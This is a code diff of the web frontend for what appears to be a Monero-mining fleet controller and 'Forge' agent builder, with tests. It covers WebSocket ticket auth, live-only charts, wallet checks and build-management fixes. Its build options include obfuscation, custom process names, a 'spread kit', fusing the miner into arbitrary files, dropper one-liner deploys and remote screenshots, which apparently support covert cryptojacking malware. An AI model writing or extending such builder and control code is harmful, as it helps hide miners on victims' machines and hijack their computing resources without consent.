expect(result.current.agentLogs.a1).toBe('log data');
});
it('schedules reconnect after close', () => {
vi.useFakeTimers();
it('schedules reconnect after close', async () => {
MockWebSocket.instances = [];
renderHook(() => useWebSocketContext(), { wrapper });
const first = latestSocket();
const first = await waitForSocket();
act(() => first.close());
expect(MockWebSocket.instances).toHaveLength(1);
act(() => vi.advanceTimersByTime(3000));
expect(MockWebSocket.instances).toHaveLength(2);
vi.useRealTimers();
});
await act(async () => {
await new Promise((r) => setTimeout(r, 3100));
});
await waitFor(() => expect(MockWebSocket.instances).toHaveLength(2));
}, 10000);
it('closes socket on unmount', () => {
it('closes socket on unmount', async () => {
const closeSpy = vi.spyOn(MockWebSocket.prototype, 'close');
const { unmount } = render(<WebSocketProvider><span /></WebSocketProvider>);
await waitForSocket();
unmount();
expect(closeSpy).toHaveBeenCalled();
});

View File

@@ -9,7 +9,7 @@ import type {
import type { Agent, Share, FleetAlert, PoolStatus, AIActivityEntry, WSMessage } from '../types';
import { WebSocketContext } from './WebSocketContext';
import type { SeqCommandResult } from './WebSocketContext';
import { getStoredAuth } from '../api/auth';
import { authHeaders, getStoredAuth } from '../api/auth';
/**
* WebSocketProvider mounts a SINGLE WebSocket connection for the whole app.
@@ -54,25 +54,44 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
const existing = wsRef.current;
if (existing && (existing.readyState === WebSocket.OPEN || existing.readyState === WebSocket.CONNECTING)) {
existing.onclose = null;
existing.close();
}
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard?token=${encodeURIComponent(token)}`;
const ws = new WebSocket(wsUrl);
wsRef.current = ws;
ws.onopen = () => { if (!unmounted.current) setIsConnected(true); };
ws.onclose = () => {
const openSocket = async () => {
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
let wsQuery = `token=${encodeURIComponent(token)}`;
try {
const resp = await fetch('/api/v1/auth/ws-ticket', {
method: 'POST',
headers: authHeaders(),
});
if (resp.ok) {
const data = (await resp.json()) as { ticket?: string };
if (data.ticket) {
wsQuery = `ticket=${encodeURIComponent(data.ticket)}`;
}
}
} catch {
/* fall back to legacy token query param */
}
if (unmounted.current) return;
setIsConnected(false);
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
if (!getStoredAuth()) return;
reconnectTimer.current = setTimeout(connect, 3000);
};
ws.onerror = () => { ws.close(); };
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard?${wsQuery}`;
const ws = new WebSocket(wsUrl);
wsRef.current = ws;
ws.onopen = () => { if (!unmounted.current) setIsConnected(true); };
ws.onclose = () => {
if (unmounted.current) return;
setIsConnected(false);
if (reconnectTimer.current) clearTimeout(reconnectTimer.current);
if (!getStoredAuth()) return;
reconnectTimer.current = setTimeout(connect, 3000);
};
ws.onerror = () => { ws.close(); };
ws.onmessage = (event) => {
try {
@@ -222,6 +241,9 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) {
console.error('Failed to parse WebSocket message:', err);
}
};
};
void openSocket();
}, []);
useEffect(() => {

View File

@@ -5,8 +5,6 @@ import {
resolveChartSeries,
chartSeriesDelta,
chartSeriesPeak,
SAMPLE_CONTRIBUTION_BARS,
SAMPLE_FLEET_PREVIEW,
} from './chartSampleData';
describe('chartSampleData', () => {
@@ -20,44 +18,23 @@ describe('chartSampleData', () => {
expect(chartSeriesPeak(series)).toBeGreaterThan(0);
});
it('hashrate sample trends upward (mining ramp)', () => {
const series = generateSampleSeries('hashrate', 48);
expect(series[series.length - 1].value).toBeGreaterThan(series[0].value);
const delta = chartSeriesDelta(series);
expect(delta).not.toBeNull();
expect(delta!).toBeGreaterThan(0);
it('resolveChartSeries returns empty when live is empty', () => {
const { data, mode } = resolveChartSeries([]);
expect(mode).toBe('empty');
expect(data).toHaveLength(0);
});
it('accept sample stays in realistic pool band', () => {
const series = generateSampleSeries('accept', 48);
for (const p of series) {
expect(p.value).toBeGreaterThanOrEqual(90);
expect(p.value).toBeLessThanOrEqual(100);
}
});
it('resolveChartSeries uses sample when live is empty', () => {
const { data, mode } = resolveChartSeries([], 'hashrate');
expect(mode).toBe('sample');
expect(data.length).toBe(48);
expect(validateChartSeries(data).ok).toBe(true);
});
it('resolveChartSeries prefers live when enough points', () => {
const live = generateSampleSeries('cpu', 20).map((p, i) => ({
...p,
value: 40 + i * 0.5,
}));
const { data, mode } = resolveChartSeries(live, 'cpu');
it('resolveChartSeries returns live slice when data exists', () => {
const live = generateSampleSeries('cpu', 20);
const { data, mode } = resolveChartSeries(live);
expect(mode).toBe('live');
expect(data.length).toBe(20);
});
it('preview constants are internally consistent', () => {
const totalPct = SAMPLE_CONTRIBUTION_BARS.reduce((s, b) => s + b.pct, 0);
expect(totalPct).toBeGreaterThan(98);
expect(totalPct).toBeLessThan(102);
expect(SAMPLE_FLEET_PREVIEW.hashrate).toBeGreaterThan(50_000);
expect(SAMPLE_FLEET_PREVIEW.xmrPerDay).toBeGreaterThan(0);
it('chartSeriesDelta computes trend', () => {
const series = generateSampleSeries('hashrate', 48);
const delta = chartSeriesDelta(series);
expect(delta).not.toBeNull();
expect(delta!).toBeGreaterThan(0);
});
});

View File

@@ -1,41 +1,8 @@
import type { ChartPoint } from '../components/Charts/HashrateChart';
import type { ContributionBar } from './fleetAnalytics';
export type ChartSeriesKind = 'hashrate' | 'accept' | 'cpu' | 'mem' | 'gpu';
export type ChartDisplayMode = 'live' | 'sample' | 'blend';
const MIN_LIVE_POINTS = 12;
/** Fleet snapshot shown when no live miners — deck still feels “about to print”. */
export const SAMPLE_FLEET_PREVIEW = {
hashrate: 128_400,
acceptRate: 96.8,
avgCpu: 52,
avgMem: 61,
onlinePct: 88,
onlineCount: 7,
agentCount: 8,
xmrPerDay: 0.0384,
xmrPrice: 168.42,
} as const;
export const SAMPLE_CONTRIBUTION_BARS: ContributionBar[] = [
{ id: 's1', name: 'Vault-01', hashrate: 42_800, pct: 33.4 },
{ id: 's2', name: 'Forge-Rig', hashrate: 31_200, pct: 24.3 },
{ id: 's3', name: 'Lan-Node-7', hashrate: 28_100, pct: 21.9 },
{ id: 's4', name: 'Basement-XMR', hashrate: 26_300, pct: 20.4 },
];
export const SAMPLE_ACTIVITY = [
{ id: 'sa1', label: 'OK', ok: true, time: '12:04:11' },
{ id: 'sa2', label: 'OK', ok: true, time: '12:03:58' },
{ id: 'sa3', label: 'OK', ok: true, time: '12:03:41' },
{ id: 'sa4', label: 'OK', ok: true, time: '12:03:22' },
{ id: 'sa5', label: 'OK', ok: true, time: '12:02:59' },
{ id: 'sa6', label: 'BAD', ok: false, time: '12:02:44' },
{ id: 'sa7', label: 'OK', ok: true, time: '12:02:31' },
];
export type ChartDisplayMode = 'live' | 'empty';
function formatTime(offsetMin: number): string {
const d = new Date(Date.now() - offsetMin * 60_000);
@@ -46,7 +13,7 @@ function noise(i: number, amp: number): number {
return Math.sin(i * 0.7) * amp + Math.cos(i * 0.31) * (amp * 0.6);
}
/** Deterministic rich-looking telemetry for chart QA and empty-deck preview. */
/** Test-only synthetic series (not used in production UI). */
export function generateSampleSeries(kind: ChartSeriesKind, points = 48): ChartPoint[] {
const out: ChartPoint[] = [];
for (let i = points - 1; i >= 0; i--) {
@@ -92,41 +59,13 @@ export function validateChartSeries(data: ChartPoint[]): { ok: boolean; errors:
return { ok: errors.length === 0, errors };
}
function hasMeaningfulLive(live: ChartPoint[], kind: ChartSeriesKind): boolean {
if (live.length < MIN_LIVE_POINTS) return false;
const vals = live.map((p) => p.value);
const max = Math.max(...vals);
const min = Math.min(...vals);
if (kind === 'hashrate' || kind === 'gpu') return max > 0 && max !== min;
return max - min > 0.05;
}
/** Prefer live telemetry; pad with sample so graphs never look broken or empty. */
export function resolveChartSeries(
live: ChartPoint[],
kind: ChartSeriesKind,
options?: { tailValue?: number; minPoints?: number }
): { data: ChartPoint[]; mode: ChartDisplayMode } {
const minPoints = options?.minPoints ?? MIN_LIVE_POINTS;
/** Live telemetry only — no sample or blended filler in the dashboard. */
export function resolveChartSeries(live: ChartPoint[]): { data: ChartPoint[]; mode: ChartDisplayMode } {
const validation = validateChartSeries(live);
const liveOk = validation.ok && live.length >= minPoints && hasMeaningfulLive(live, kind);
if (liveOk) {
return { data: live.slice(-60), mode: 'live' };
if (!validation.ok || live.length === 0) {
return { data: [], mode: 'empty' };
}
const sample = generateSampleSeries(kind, 48);
if (live.length === 0) {
if (options?.tailValue != null && Number.isFinite(options.tailValue)) {
const last = sample[sample.length - 1];
sample[sample.length - 1] = { ...last, value: options.tailValue };
}
return { data: sample, mode: 'sample' };
}
const merged = [...sample.slice(0, Math.max(0, 48 - live.length)), ...live.slice(-24)];
validateChartSeries(merged);
return { data: merged, mode: 'blend' };
return { data: live.slice(-60), mode: 'live' };
}
export function chartSeriesDelta(data: ChartPoint[]): number | null {

View File

@@ -1,5 +1,6 @@
import { describe, expect, it } from 'vitest';
import { runForgeCompatibilityChecks } from './forgeCompatibility';
import { runForgePreflight } from './forgeValidation';
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
import type { BuildRequest } from '../types';
@@ -177,35 +178,37 @@ describe('runForgeCompatibilityChecks', () => {
expect(hasCheck(baseForm({ process_name: 'bad name!' }), false, 'process_name', 'warn')).toBe(true);
});
it('errors when worker name is empty', () => {
expect(hasCheck(baseForm({ worker_name: '' }), false, 'worker_name_empty', 'error')).toBe(true);
it('errors when worker name is empty (preflight)', () => {
const checks = runForgePreflight(baseForm({ worker_name: '' }), false);
expect(checks.find((c) => c.id === 'worker')?.level).toBe('error');
});
it('errors when server URL uses localhost', () => {
expect(
hasCheck(baseForm({ server_url: 'http://localhost:8989' }), false, 'server_url_localhost', 'error')
).toBe(true);
it('errors when server URL uses localhost (preflight)', () => {
const checks = runForgePreflight(baseForm({ server_url: 'http://localhost:8989' }), false);
expect(checks.find((c) => c.id === 'server')?.level).toBe('error');
});
it('errors when server URL uses 127.0.0.1', () => {
expect(
hasCheck(baseForm({ server_url: 'http://127.0.0.1:8989' }), false, 'server_url_localhost', 'error')
).toBe(true);
it('errors when server URL uses 127.0.0.1 (preflight)', () => {
const checks = runForgePreflight(baseForm({ server_url: 'http://127.0.0.1:8989' }), false);
expect(checks.find((c) => c.id === 'server')?.level).toBe('error');
});
it('warns when wallet does not match Monero format', () => {
expect(hasCheck(baseForm({ wallet: 'not-a-wallet' }), false, 'wallet_invalid', 'warn')).toBe(true);
it('warns when wallet does not match Monero format (preflight)', () => {
const checks = runForgePreflight(baseForm({ wallet: 'not-a-wallet' }), false);
expect(checks.find((c) => c.id === 'wallet')?.level).toBe('warn');
});
it('accepts minimum-length wallet (90 chars)', () => {
it('accepts minimum-length wallet (90 chars) in preflight', () => {
const wallet = '4' + 'A'.repeat(89);
expect(wallet.length).toBe(90);
expect(hasCheck(baseForm({ wallet }), false, 'wallet_invalid')).toBe(false);
const checks = runForgePreflight(baseForm({ wallet }), false);
expect(checks.find((c) => c.id === 'wallet')?.level).toBe('ok');
});
it('accepts subaddress starting with 8', () => {
it('accepts subaddress starting with 8 in preflight', () => {
const subaddress = '8' + 'B'.repeat(94);
expect(hasCheck(baseForm({ wallet: subaddress }), false, 'wallet_invalid')).toBe(false);
const checks = runForgePreflight(baseForm({ wallet: subaddress }), false);
expect(checks.find((c) => c.id === 'wallet')?.level).toBe('ok');
});
it('emits forge_ready when core config is coherent', () => {

View File

@@ -1,11 +1,6 @@
import type { BuildRequest } from '../types';
import type { PreflightCheck } from './forgeValidation';
function looksLikeXMRWallet(addr: string): boolean {
const a = addr.trim();
// Standard Monero addresses start with 4, subaddresses with 8
return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a);
}
import { looksLikeXMRWallet } from './forgeValidation';
/** Extra incompatibility checks beyond basic validation. */
export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {
@@ -170,30 +165,6 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect
const workerName = form.worker_name || '';
const serverUrl = form.server_url || '';
if (!workerName.trim()) {
checks.push({
id: 'worker_name_empty',
level: 'error',
message: 'Worker Name is required. This identifies the machine in your fleet.',
});
}
if (serverUrl.includes('localhost') || serverUrl.includes('127.0.0.1')) {
checks.push({
id: 'server_url_localhost',
level: 'error',
message: 'Control server URL uses localhost or 127.0.0.1 — deployed workers will try to connect to themselves instead of the server.',
});
}
if (wallet.trim() && !looksLikeXMRWallet(wallet)) {
checks.push({
id: 'wallet_invalid',
level: 'warn',
message: 'Wallet address does not match standard Monero format (starting with 4 or 8, length 90-106). Double check it.',
});
}
if (wallet.trim() && looksLikeXMRWallet(wallet) && poolHost.trim() && workerName.trim() && serverUrl.trim() && !serverUrl.includes('localhost') && !serverUrl.includes('127.0.0.1')) {
checks.push({
id: 'forge_ready',

View File

@@ -37,8 +37,8 @@ const UNIVERSAL_INSTALL_BASES: InstallBaseOption[] = [
];
export function deriveDeliverableType(form: BuildRequest): ForgeDeliverable {
if (form.fusion_enabled) return 'fusion';
if (form.spread_kit) return 'spread_kit';
if (form.fusion_enabled) return 'fusion';
return 'single';
}

View File

@@ -64,7 +64,7 @@ export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolea
if (!form.wallet.trim()) {
checks.push({ id: 'wallet', level: 'error', message: 'Monero wallet address is required.' });
} else if (!looksLikeXMRWallet(form.wallet)) {
checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4).' });
checks.push({ id: 'wallet', level: 'warn', message: 'Wallet does not look like a standard Monero mainnet address (starts with 4 or 8, length 90106).' });
} else {
checks.push({ id: 'wallet', level: 'ok', message: 'Wallet address format OK.' });
}

View File

@@ -113,6 +113,14 @@ export default function AgentsPage() {
[agents]
);
useEffect(() => {
const liveIds = new Set(agents.map((a) => a.id));
setSelectedIds((prev) => {
const pruned = new Set([...prev].filter((id) => liveIds.has(id)));
return pruned.size === prev.size ? prev : pruned;
});
}, [agents]);
useEffect(() => {
if (!commandResults?.length || !screenshotWatchId.current) return;
const watch = screenshotWatchId.current;
@@ -516,7 +524,13 @@ export default function AgentsPage() {
</div>
<div className="detail-item">
<span className="detail-label">Wallet</span>
<span className="detail-value mono">{selectedAgent.wallet?.substring(0, 20)}...</span>
<span className="detail-value mono">
{selectedAgent.wallet
? selectedAgent.wallet.length > 24
? `${selectedAgent.wallet.slice(0, 20)}`
: selectedAgent.wallet
: '—'}
</span>
</div>
<div className="detail-item">
<span className="detail-label">IP Address</span>
@@ -597,9 +611,7 @@ export default function AgentsPage() {
time: new Date(s.timestamp).toLocaleTimeString(),
value: s.hashrate,
}));
const chart = resolveChartSeries(live, 'hashrate', {
tailValue: selectedAgent.hashrate_15m,
});
const chart = resolveChartSeries(live);
return (
<HashrateChart
title=""

View File

@@ -71,23 +71,27 @@ function CopyButton({ text, label }: { text: string; label: string }) {
);
}
function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () => void }) {
function DeleteButton({ buildId, onDeleted, onError }: { buildId: string; onDeleted: () => void; onError: (msg: string) => void }) {
const [confirming, setConfirming] = useState(false);
const [busy, setBusy] = useState(false);
const timerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
const handleClick = () => {
const handleClick = async () => {
if (!confirming) {
setConfirming(true);
timerRef.current = setTimeout(() => setConfirming(false), 3000);
} else {
if (timerRef.current) clearTimeout(timerRef.current);
setBusy(true);
api.deleteBuild(buildId).finally(() => {
setBusy(false);
setConfirming(false);
onDeleted();
});
return;
}
if (timerRef.current) clearTimeout(timerRef.current);
setBusy(true);
try {
await api.deleteBuild(buildId);
onDeleted();
} catch (e) {
onError(e instanceof Error ? e.message : 'Failed to delete build');
} finally {
setBusy(false);
setConfirming(false);
}
};
@@ -96,7 +100,7 @@ function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () =
type="button"
className={`bm-del-btn${confirming ? ' bm-del-btn-confirm' : ''}`}
disabled={busy}
onClick={handleClick}
onClick={() => void handleClick()}
title="Delete this build from server"
>
{busy ? '…' : confirming ? 'Confirm delete' : 'Delete'}
@@ -104,7 +108,17 @@ function DeleteButton({ buildId, onDeleted }: { buildId: string; onDeleted: () =
);
}
function PinButton({ buildId, pinned, onPinned }: { buildId: string; pinned: boolean; onPinned: () => void }) {
function PinButton({
buildId,
pinned,
onPinned,
onError,
}: {
buildId: string;
pinned: boolean;
onPinned: () => void;
onError: (msg: string) => void;
}) {
const [busy, setBusy] = useState(false);
const handleClick = async () => {
@@ -118,7 +132,7 @@ function PinButton({ buildId, pinned, onPinned }: { buildId: string; pinned: boo
}
onPinned();
} catch (e) {
console.error(e);
onError(e instanceof Error ? e.message : pinned ? 'Failed to unpin build' : 'Failed to pin build');
} finally {
setBusy(false);
}
@@ -145,12 +159,14 @@ function BuildCard({
onReforge,
onDeleted,
onPinned,
onActionError,
}: {
build: BuildRecord;
serverBase: string;
onReforge: (b: BuildRecord) => void;
onDeleted: () => void;
onPinned: () => void;
onActionError: (msg: string) => void;
}) {
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
const exeName = build.file_name || build.file_path?.replace(/^.*[/\\]/, '') || `worker-${build.worker_name}`;
@@ -249,7 +265,11 @@ function BuildCard({
{/* ── Dropper one-liners ── */}
<div className="bm-dropper">
<div className="bm-downloads-label font-tech">ONE-LINER DEPLOY (serves latest build)</div>
<div className="bm-downloads-label font-tech">
{build.pinned
? 'ONE-LINER DEPLOY (serves this pinned build)'
: 'ONE-LINER DEPLOY (serves latest build)'}
</div>
<div className="bm-dropper-row">
<span className="bm-dropper-os">Win</span>
<code className="bm-dropper-cmd">{ps1}</code>
@@ -274,7 +294,7 @@ function BuildCard({
<span className="bm-qr-label">Scan to download</span>
</div>
<div className="bm-action-btns">
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} />
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} onError={onActionError} />
<button
type="button"
className="btn btn-secondary bm-reforge-btn"
@@ -282,7 +302,7 @@ function BuildCard({
>
Re-forge
</button>
<DeleteButton buildId={build.id} onDeleted={onDeleted} />
<DeleteButton buildId={build.id} onDeleted={onDeleted} onError={onActionError} />
</div>
</div>
</NeonCard>
@@ -295,28 +315,31 @@ export default function BuildManagerPage() {
const [builds, setBuilds] = useState<BuildRecord[]>([]);
const [loading, setLoading] = useState(true);
const [error, setError] = useState('');
const [serverBase, setServerBase] = useState('');
const [serverBase, setServerBase] = useState(() => window.location.origin.replace(/\/$/, ''));
const navigate = useNavigate();
const applyServerBase = useCallback((suggestedUrl?: string) => {
const pub = suggestedUrl?.trim().replace(/\/$/, '');
setServerBase(pub || window.location.origin.replace(/\/$/, ''));
}, []);
const loadBuilds = useCallback(async () => {
try {
const list = await api.listBuilds();
const [list, info] = await Promise.all([
api.listBuilds(),
api.getServerInfo().catch(() => null),
]);
setBuilds(list);
setError('');
if (info) applyServerBase(info.suggested_url);
else applyServerBase();
} catch (e) {
setError(e instanceof Error ? e.message : 'Failed to load builds');
applyServerBase();
} finally {
setLoading(false);
}
// Load server base URL separately so a slow/hung server-info call
// never blocks the builds list from rendering.
api.getServerInfo()
.then((info) => {
const pub = info?.suggested_url?.trim().replace(/\/$/, '');
if (pub) setServerBase(pub);
})
.catch(() => {/* use window.location.origin fallback already set */});
}, []);
}, [applyServerBase]);
useEffect(() => { loadBuilds(); }, [loadBuilds]);
@@ -375,6 +398,7 @@ export default function BuildManagerPage() {
onReforge={handleReforge}
onDeleted={loadBuilds}
onPinned={loadBuilds}
onActionError={(msg) => setError(msg)}
/>
))}
</div>

View File

@@ -59,15 +59,17 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
}
// Simulated stage timeline — (label, target% completed at this point, min ms from start)
// Simulated stage timeline — real compiles (garble/universal/fusion) often take 1030+ min.
// Cap below 95% until the server responds; finishForgeSuccess sets 100%.
const FORGE_PROGRESS_CAP = 94;
const FORGE_STAGES: { label: string; pct: number; minMs: number }[] = [
{ label: 'Resolving dependencies...', pct: 8, minMs: 0 },
{ label: 'Compiling agent source...', pct: 28, minMs: 800 },
{ label: 'Cross-compiling targets...', pct: 52, minMs: 2500 },
{ label: 'Applying obfuscation...', pct: 68, minMs: 5000 },
{ label: 'Packaging deliverable...', pct: 82, minMs: 8000 },
{ label: 'Signing & finalizing...', pct: 93, minMs: 11000 },
{ label: 'Almost done...', pct: 98, minMs: 15000 },
{ label: 'Resolving dependencies...', pct: 6, minMs: 0 },
{ label: 'Compiling agent source...', pct: 18, minMs: 20000 },
{ label: 'Cross-compiling targets...', pct: 36, minMs: 90000 },
{ label: 'Applying obfuscation...', pct: 52, minMs: 240000 },
{ label: 'Packaging deliverable...', pct: 68, minMs: 420000 },
{ label: 'Signing & finalizing...', pct: 82, minMs: 600000 },
{ label: 'Still forging (may take a while)...', pct: FORGE_PROGRESS_CAP, minMs: 900000 },
];
function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) {
@@ -153,6 +155,9 @@ export default function BuilderPage() {
const forgedThisSessionRef = useRef(false);
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
const [simpleMode, setSimpleMode] = useState(loadSimpleMode);
const [pendingReforgeBuild, setPendingReforgeBuild] = useState<BuildRecord | null>(null);
const [highlightFusionPrep, setHighlightFusionPrep] = useState(false);
const fusionPrepRef = useRef<HTMLDivElement>(null);
// Drive simulated stage progress while a single build is running
useEffect(() => {
@@ -175,14 +180,14 @@ export default function BuilderPage() {
}
const s = FORGE_STAGES[next];
// Smoothly interpolate within this stage toward the next stage's target %
const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : 98;
const nextMs = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 20000;
const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : FORGE_PROGRESS_CAP;
const nextMs = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 1200000;
const stageElapsed = elapsed - s.minMs;
const stageDur = nextMs - s.minMs;
const frac = stageDur > 0 ? Math.min(1, stageElapsed / stageDur) : 0;
const pct = s.pct + (nextPct - s.pct) * frac;
if (next !== stageIdx) stageIdx = next;
setStage(s.label, Math.min(98, pct));
setStage(s.label, Math.min(FORGE_PROGRESS_CAP, pct));
forgeStageTimerRef.current = setTimeout(advance, 250);
};
advance();
@@ -238,8 +243,10 @@ export default function BuilderPage() {
setListenPort(config.port || 8989);
}
const candidates = info ? lanEndpointCandidates(info, config.port || info.port) : [];
const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, builds as BuildRecord[]);
setForm(applySmartForgeDefaults(base, { builds: builds as BuildRecord[], endpointCandidates: candidates }));
const buildList = builds as BuildRecord[];
const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, buildList);
setRecentBuilds(buildList);
setForm(applySmartForgeDefaults(base, { builds: buildList, endpointCandidates: candidates }));
})
.catch((err) => {
console.error(err);
@@ -257,17 +264,21 @@ export default function BuilderPage() {
}
};
// Handle ?reforge=<buildId> links from Build Manager page
// Handle ?reforge=<buildId> links from Build Manager — pre-fill only; user confirms before compile.
useEffect(() => {
const reforgeId = searchParams.get('reforge');
if (!reforgeId || recentBuilds.length === 0) return;
if (!reforgeId || !form || recentBuilds.length === 0) return;
const match = recentBuilds.find((b) => b.id === reforgeId);
if (match) {
reForgeFromBuild(match);
const merged = buildRequestFromRecord(match, form as unknown as Record<string, unknown>) as unknown as BuildRequest;
setForm(merged);
setPendingReforgeBuild(match);
setError('');
setLastBuild(null);
setSearchParams({}, { replace: true });
}
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [searchParams, recentBuilds]);
}, [searchParams, recentBuilds, form]);
const finishForgeSuccess = async (result: BuildResponse) => {
setStage('Build complete!', 100);
@@ -355,6 +366,12 @@ export default function BuilderPage() {
}
};
const focusFusionPrepPicker = () => {
setHighlightFusionPrep(true);
fusionPrepRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
window.setTimeout(() => setHighlightFusionPrep(false), 6000);
};
const reForgeFromBuild = async (build: BuildRecord) => {
if (!form) return;
const merged = buildRequestFromRecord(build, form as unknown as Record<string, unknown>) as unknown as BuildRequest;
@@ -366,8 +383,9 @@ export default function BuilderPage() {
// server after a build completes (M15). Prompt the user to re-upload first.
if (merged.fusion_enabled && !fusionPrepFile) {
setError(
'This build used a Fusion payload. Re-upload the payload file in the Fusion section above, then click "Re-forge" again.'
'This build used a Fusion payload. Re-upload the payload file in the Fusion section below, then confirm Re-forge again.'
);
focusFusionPrepPicker();
return;
}
@@ -651,7 +669,16 @@ export default function BuilderPage() {
await finishForgeSuccess(result);
} catch (err: any) {
if (err.message !== 'build cancelled') {
setError(err.message || 'Build failed');
let msg = err?.message || 'Build failed';
const aborted =
err?.name === 'AbortError' ||
/abort|timed out|timeout/i.test(msg);
if (aborted) {
msg =
'Forge request ended early (browser or proxy timeout). The server may still be compiling — open Build Manager or refresh this page in a minute.';
}
setError(msg);
void loadRecentBuilds();
}
} finally {
cancelTokenRef.current = '';
@@ -702,7 +729,7 @@ export default function BuilderPage() {
[form, fusionPrepFile]
);
const preflightChecks = useMemo(
() => (form ? runForgePreflight(form, !!fusionPrepFile) : []),
() => (form ? runForgePreflight(normalizeForgeForm(form), !!fusionPrepFile) : []),
[form, fusionPrepFile]
);
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
@@ -811,6 +838,39 @@ export default function BuilderPage() {
return (
<div className="page fade-in command-deck">
<SetupBanner status={setupStatus} />
{pendingReforgeBuild && (
<div className="reforge-confirm-banner form-error" role="alert">
<span></span>
<div style={{ flex: 1 }}>
<strong>Re-forge {pendingReforgeBuild.worker_name}?</strong>
<p className="form-hint" style={{ margin: '0.35rem 0 0', color: 'inherit' }}>
Settings were loaded from Build Manager. Confirm to start compiling this cannot be undone mid-forge.
</p>
</div>
<div style={{ display: 'flex', gap: '0.5rem', flexShrink: 0 }}>
<button
type="button"
className="btn btn-primary btn-sm"
disabled={building}
onClick={() => {
const build = pendingReforgeBuild;
setPendingReforgeBuild(null);
void reForgeFromBuild(build);
}}
>
Confirm Re-forge
</button>
<button
type="button"
className="btn btn-outline btn-sm"
disabled={building}
onClick={() => setPendingReforgeBuild(null)}
>
Cancel
</button>
</div>
</div>
)}
{/* Hidden file input for importing blueprint .json files */}
<input
type="file"
@@ -1867,7 +1927,10 @@ export default function BuilderPage() {
{form.fusion_enabled && (
<>
{/* Single-file pick (used when Forge button is clicked) */}
<div className={`form-group ${fieldMeta.fusion_prep?.disabled ? 'field-disabled' : ''}`}>
<div
ref={fusionPrepRef}
className={`form-group fusion-prep-picker${highlightFusionPrep ? ' fusion-prep-highlight' : ''}${fieldMeta.fusion_prep?.disabled ? ' field-disabled' : ''}`}
>
<div className="label-row">
<label className="label">
Drop any file to fuse <HelpTip field="fusion_prep" />
@@ -1880,6 +1943,7 @@ export default function BuilderPage() {
accept="*"
onChange={(e) => {
applyFusionFileSelection(e.target.files?.[0] || null);
setHighlightFusionPrep(false);
e.target.value = '';
}}
/>

View File

@@ -123,12 +123,12 @@ describe('DashboardPage', () => {
expect(await screen.findByText('No miners on the wire')).toBeInTheDocument();
});
it('shows projection charts and wealth strip with no agents', async () => {
it('does not show projection or fake earnings with no agents', async () => {
renderDashboard();
expect(await screen.findByText(/Projection mode/i)).toBeInTheDocument();
expect(await screen.findByText('Fleet Hashrate Wave')).toBeInTheDocument();
expect(await screen.findByText('Accept Rate Pulse')).toBeInTheDocument();
expect(await screen.findByText('Target Fleet Earnings')).toBeInTheDocument();
expect(await screen.findByText('Command Deck')).toBeInTheDocument();
expect(screen.queryByText(/Projection mode/i)).not.toBeInTheDocument();
expect(screen.queryByText('Target Fleet Earnings')).not.toBeInTheDocument();
expect(screen.queryByText('Vault-01')).not.toBeInTheDocument();
});
it('renders stat labels and top agent card', async () => {

View File

@@ -12,7 +12,6 @@ import {
PoolStatusPanel,
AIActivityPanel,
EarningsEstimator,
WealthEarningsPreview,
FleetHealthCard,
ContributionBars,
UnderperformerList,
@@ -46,9 +45,6 @@ import {
} from '../help/fleetAnalytics';
import {
resolveChartSeries,
SAMPLE_ACTIVITY,
SAMPLE_CONTRIBUTION_BARS,
SAMPLE_FLEET_PREVIEW,
} from '../help/chartSampleData';
import './Pages.css';
@@ -133,6 +129,14 @@ export default function DashboardPage() {
}
}, [recentShares]);
useEffect(() => {
const liveIds = new Set(agents.map((a) => a.id));
setSelectedIds((prev) => {
const pruned = new Set([...prev].filter((id) => liveIds.has(id)));
return pruned.size === prev.size ? prev : pruned;
});
}, [agents]);
const totalHashrate = agents.reduce((sum, a) => sum + a.hashrate_15m, 0);
const onlineCount = agents.filter((a) => a.status === 'online').length;
const totalShares = agents.reduce((sum, a) => sum + a.shares_total, 0);
@@ -154,7 +158,7 @@ export default function DashboardPage() {
[gpuAgents]
);
const bestGPUAgent = useMemo(
() => gpuAgents.sort((a, b) => (b.gpu_hashrate_15m ?? 0) - (a.gpu_hashrate_15m ?? 0))[0] ?? null,
() => [...gpuAgents].sort((a, b) => (b.gpu_hashrate_15m ?? 0) - (a.gpu_hashrate_15m ?? 0))[0] ?? null,
[gpuAgents]
);
const gpuModels = useMemo(
@@ -166,10 +170,8 @@ export default function DashboardPage() {
const avgMem = agents.length > 0 ? agents.reduce((s, a) => s + a.memory_usage_pct, 0) / agents.length : 0;
